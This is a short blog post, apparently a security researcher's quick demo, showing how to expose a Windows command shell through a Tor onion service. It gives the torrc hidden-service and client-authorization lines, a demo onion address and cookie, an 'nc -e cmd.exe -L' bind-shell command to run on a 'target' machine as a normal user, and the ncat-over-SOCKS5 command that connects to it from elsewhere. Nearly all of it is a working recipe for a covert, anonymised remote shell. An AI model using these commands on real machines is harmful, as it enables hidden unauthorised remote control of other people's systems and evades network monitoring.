Creating a Tor onion service (aka hidden service) on a Windows Tor client.
I download the Tor expert bundle (this works with the Tor Browser too).
I create Tor configuration file torrc with these lines:
HiddenServiceDir C:\demo\Tor\service HiddenServicePort 8662 127.0.0.1:12345
When Tor is started, folder C:\demo\Tor\Service will be created and populated with a couple of files (file hostname contains the .onion address created by Tor for this onion service).
The onion service will be listening on port 8662, and traffic will be forwarded to 127.0.0.1 port 12345.
It is possible to enable client authorization for this service (without client authorization, everybody who knows the .onion address and the port can connect to it). Basic client authorization uses a shared secret, and is configured with this line (torrc):
HiddenServiceAuthorizeClient basic testuser
I choose testuser as name for the client.
I start Tor with configuration file torrc like this: tor.exe -f torrc
The .onion address and client authorization cookie can be found in file hostname in the service folder:
nybjuivgocveiyeq.onion Wa5kOshPqZF4tFynr4ug1g # client: testuser
Keep the authorization cookie secret of course, I show it here for the demo.
Now start the service on the target Windows machine with nc.exe (I downloaded nc.exe years ago, I don’t have the original URL anymore, my version is 1.11 with MD5 ab41b1e2db77cebd9e2779110ee3915d):
nc -e cmd.exe -L -s 127.0.0.1 -p 12345
Tor expert bundle and nc.exe have no extra dependencies (like DLLs), and can be executed as normal user.
Now the target machine is ready.
On another machine, I start Tor with a configuration file containing the authorization cookie:
HidServAuth nybjuivgocveiyeq.onion Wa5kOshPqZF4tFynr4ug1g
And then I run ncat, because ncat.exe supports socks5 proxies (nc.exe doesn’t):
ncat.exe --proxy 127.0.0.1:9050 --proxy-type socks5 nybjuivgocveiyeq.onion 8662
This gives me a remote shell:
Remark that this does not work with version 7.60, apparently because of a regression bug:
libnsock select_loop(): nsock_loop error 10038: An operation was attempted on something that is not a socket.
Article Link: https://blog.didierstevens.com/2018/02/05/quickpost-remote-shell-on-windows-via-tor-onion-service/